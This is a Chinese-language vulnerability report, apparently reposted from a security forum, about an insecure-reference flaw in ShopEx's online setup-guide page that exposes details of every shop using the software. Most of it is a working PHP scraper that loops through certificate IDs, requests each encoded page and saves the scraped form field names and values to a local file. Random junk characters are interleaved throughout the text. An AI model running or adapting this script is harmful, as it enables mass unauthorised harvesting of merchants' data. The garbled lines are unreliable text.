ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
+ |8 C" t$ j5 U( P详细说明：
3 J3 I+ Z4 X( v7 m, C& ?问题出现在shopex 网店使用向导页面
/ V# }/ r+ k9 d9 N' D7 t. D
" ]& R- x/ K( I( s$ \" x6 a- s! _' K

, i* c# o0 r9 B+ |3 O& rhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
, R9 m- A( O  `1 S


refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
( w: {' U( b; h7 f) d* e
; d# g8 k( x6 x$ H* ~) k

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
6 {! v8 _" K2 D& \! o  j


* J7 ~4 y8 f" k' g+ P3 z0 ^8 e& I<?php
3 E2 N9 V2 B2 G8 t2 z8 E* }! w% s
                for ($i=1; $i < 10000; $i++) { //遍历

3 F! @$ g) \% r. t' z% \5 n3 M                        ShowshopExD($i);

                }

: P& V% t  b( k( |# h4 E                function ShowshopExD($cid) {

% ?) d6 j; `1 e; p% X' R                $url='http://guide.ecos.shopex.cn/step2.php';

. n4 N+ {, A4 p8 @, f                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
0 t, f; Q5 o( K3 n& K
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
' C. y' X9 P- V5 Q) Y" F5 B' o
8 F/ Z. r5 G/ W' y+ K# `/ V        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
6 r2 o- i2 _2 s# b
1 t+ d$ `3 R( L& {) c5 Q        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
9 c& j- e0 g* n& y
        if(strpos($result,$refer))

4 M/ V4 w; Z3 c/ c4 n% L        {

                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
5 p0 g" @. L$ c, O
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
: A: K& }3 [- X, d" c
                foreach ($value[1] as $key) {
: n2 H& i" C# x% ^$ `; Y5 D
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";
: x8 G# B) r. z! n9 b5 b+ @0 W2 D
. y. ?$ x9 E$ S, y# ]                        fwrite($fp, $col, strlen($col));
$ E- j# ?9 R% r1 s& L6 }* F
/ H! N- r* W2 n  \6 X/ v! z                }

                echo '--------------------------------'."\r\n";
7 T. M2 [7 h2 @- e% {7 @. o
' ^! y% {6 V0 ~. d                fclose($fp);

4 \/ j: `( v& m        }

        flush();

        curl_close($ch);
" p' S2 U& P! }+ ^
                }

?>
6 A( @# m2 V! |# Z; I+ V漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
2 z" a; ~! M% H1 T% I: Orefer换成其他加密方式